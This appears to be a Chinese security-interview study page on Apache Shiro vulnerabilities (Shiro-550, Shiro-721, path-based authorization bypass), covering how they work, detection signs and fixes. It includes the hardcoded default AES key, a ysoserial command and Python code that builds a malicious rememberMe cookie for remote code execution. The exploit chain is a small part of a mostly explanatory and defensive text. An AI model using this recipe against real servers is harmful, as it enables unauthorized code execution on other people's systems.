护网中shiro常问的问题

护网中shiro常问的问题

1. 漏洞原理

Apache Shiro 是一个强大的 Java 安全框架,提供身份验证、授权、加密及会话管理功能。Shiro 使用 rememberMe 机制来存储用户会话信息,该机制依赖于加密后的 Cookie。当攻击者能够控制 Cookie 并且服务器使用了不安全的反序列化机制时,就可能造成远程代码执行(RCE)。

Shiro 反序列化漏洞的核心

Shiro 的 rememberMe 功能会在 Cookie 中存储用户的身份信息,该数据通常是通过 AES 加密的。服务器在解析 rememberMe Cookie 时,会进行反序列化操作。如果攻击者能够伪造 rememberMe Cookie,并利用不安全的 Java 反序列化机制,则可能导致远程代码执行。

Shiro 反序列化漏洞的关键点

默认密钥问题(Key Hardcoded) :

早期版本(如 Shiro 1.2.4)使用了默认的 AES 密钥 kPH+bIxk5D2deZiIxcaaaA==,攻击者可以利用该密钥解密 Cookie 并伪造恶意数据进行反序列化攻击。

Java 反序列化漏洞:

Shiro 反序列化时没有严格限制可反序列化的类,导致攻击者可以利用 CommonsCollections、Jdk7u21 等反序列化 gadget 进行 RCE。

2. 漏洞利用

Shiro 反序列化漏洞利用流程

获取 Shiro 版本和 AES 密钥

通过访问 rememberMe Cookie 确认目标是否使用 Shiro。尝试使用 Shiro 默认密钥 kPH+bIxk5D2deZiIxcaaaA== 进行解密。如果默认密钥无效,可以利用字典或爆破方式尝试其他密钥。

构造反序列化 payload

使用 ysoserial 工具生成恶意反序列化数据,如 CommonsCollections1:

java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin

使用 AES 加密该 payload,并 Base64 编码后写入 rememberMe Cookie:

from Crypto.Cipher import AES

import base64

key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") # Shiro 默认密钥

iv = key # Shiro 使用 CBC 模式,IV = key

def pad(s): # PKCS7 补全

return s + (16 - len(s) % 16) * chr(16 - len(s) % 16)

cipher = AES.new(key, AES.MODE_CBC, iv)

encrypted = base64.b64encode(cipher.encrypt(pad(open("payload.bin", "rb").read())))

print("rememberMe=" + encrypted.decode())

发送恶意 Cookie 触发 RCE

通过 Burp Suite 或手动修改 Cookie:

rememberMe=恶意Base64编码后的数据

访问目标网站,触发 Shiro 反序列化漏洞,执行远程命令。

3. 漏洞检测

1. 识别目标是否使用 Shiro

观察 HTTP 响应头:

Shiro 默认的 session ID 命名规则:

Set-Cookie: JSESSIONID=xxxx; Path=/; HttpOnly

Set-Cookie: rememberMe=deleteMe; Path=/; HttpOnly

rememberMe=deleteMe 可能表明目标使用 Shiro。

访问 /favicon.ico,如果返回 Shiro 默认的 favicon.ico,说明目标可能使用 Shiro:

curl -I http://target.com/favicon.ico

2. 检测是否存在 Shiro 反序列化漏洞

发送 rememberMe=deleteMe 观察是否被 Shiro 自动删除。使用已知 AES 密钥加密测试 payload,观察目标是否执行恶意代码。

流量特征

在请求包的Cookie中为?remeberMe字段赋任意值

返回包中存在set-Cookie:remeberMe=deleteMe

URL中有shiro字样

有时候服务器不会主动返回remeberMe=deleteMe,直接发包即可

remenber me处含有大量的base字符或者是aes加密后的字符,并且返回包200状态码的,很有可能是被内存马注入或者在进行利用链爆破

攻击者成功webshell后,返回数据包的回显会会有$$$base64编码$$$字符

4. 修复方案

1. 升级 Shiro 版本

Shiro 1.2.5 及以上版本修复了默认密钥问题,建议升级到最新版本:

org.apache.shiro

shiro-core

1.12.0

2. 修改 AES 密钥

避免使用 Shiro 默认密钥,修改 shiro.ini 或 shiro-config.properties:

shiro.crypto.key=<随机生成的 Base64 AES 密钥>

3. 使用更安全的序列化机制

使用 SimpleSession 代替 Java 反序列化:

session.setAttribute("rememberMe", YOUR_SECURE_SERIALIZATION_METHOD);

采用 Kryo、JSON 等安全的序列化方式,避免 Java 反序列化漏洞。

4. 过滤危险类

采用 Java ObjectInputFilter 机制:

ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("!*;java.util.**;org.apache.shiro.**");

漏洞类型

linux出网环境

访问网址发现url存在shiro字眼,可以确认是shiro环境

通过修改cookie字段的信息,返回包那里含有rememberMe=deleteMe字段,说明存在shiro漏洞,直接上工具即可

linux不出网环境

不出网我们可以采用延迟来判断漏洞是否存在通过脚本会尝试发送不同的密钥(Key)和利用链(Gadget),并观察服务器的响应时间。如果服务器的响应时间比正常情况延迟了5秒,则说明该 key + gadget 组合有效,Shiro 存在反序列化漏洞。如果某个key和gadget组合以及延时命令success生效了,就是存在的,还区分两个判断windows和linux,最后在写入shell后还对发送命令进行了base64编码后发送

apache shiro 权限绕过

漏洞的根本原因

shiro的URL拦截器中的路径匹配规则的存在设计缺陷spring MVC处理URL时,会将/hello和/hello/视为相同的资源

漏洞复现

不可以访问/admin,但是可以访问/admin/说明存在权限绕过,可以通过/路径/的形式访问未授权资源

shiro550漏洞

原理

apache shiro框架提供了记住密码的功能,用户登录成功后会生成经过aes加密并base64编码的cookie,在服务端会对rememberme的cookie的值,先base64解码然后aes解密在反序列化,因为aes的秘钥是写死在代码里面,所以导致了反序列化rce漏洞产生

攻击流程

通过勾选登录页面的“记住我”选项并进行登录,抓包观察请求和响应中的rememberMe字段。使用shiro_attack-2.2.jar工具或python脚本(shiro_exploit.py)进行密钥检测和爆破,确认是否能获取到固定的密钥kPH+bIxk5D2deZiIxcaaaA==。

shiro 721漏洞

原理

Shiro721与shiro550不同,他的AES加密的key基本猜不到,系统随机生成。可使用登录后的RememberMe来爆破正确的key值,就是利用对加密消息填充错误的反馈,来逐步判断加密数据的内容,就是利用Shiro Cookie签名校验逻辑缺陷,然后构造RememberMe Cookie值来实现反序列化漏洞攻击

shrio550和721的区别

主要区别在于Shiro550使用已知默认密码,只要有足够的密码,不需要Remember Cookie的

Shiro721的ase加密的key为系统随机生成,需要利用登录后的rememberMe去爆破正确的key值。利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,再去构造反序列化攻击。

Shiro550和Shiro721的主要区别在于:

Shiro550利用已知密钥碰撞,Shiro721需要通过有效的RememberMe Cookie来爆破正确的key。Shiro550利用CommonsCollections链,Shiro721利用Fastjson链。Shiro550是Shiro rememberMe功能设计缺陷,Shiro721是Shiro Cookie签名校验逻辑缺陷。Shiro721利用更简单,只需修改Cookie签名即可getshell。

相关推荐

WPS流程图创建全面指南:初学者逐步操作教程
365sport365中文版

WPS流程图创建全面指南:初学者逐步操作教程

📅 07-08 👁️ 9928
解读飞利浦传奇“飞声”音效技术
beat365官网在线

解读飞利浦传奇“飞声”音效技术

📅 07-16 👁️ 2365
洗衣机平衡圈怎么换(简单易懂的步骤教程)
beat365官网在线

洗衣机平衡圈怎么换(简单易懂的步骤教程)

📅 07-15 👁️ 2188
查看云图库数据
365sport365中文版

查看云图库数据

📅 07-12 👁️ 3244
微信支付的商户单号是什么开头(微信支付的商户单号有什么用)
盘点2016年全球军力十大排行榜 全球军力排行中国仍居第三
急流勇退❗继DYS后洞主宣布合同进入娱乐年:10月开始下午开播
竞争优势分析中,如何确定行业内的竞争对手是谁?
驾驶本最多可以扣多少分的?
365sport365中文版

驾驶本最多可以扣多少分的?

📅 06-30 👁️ 4911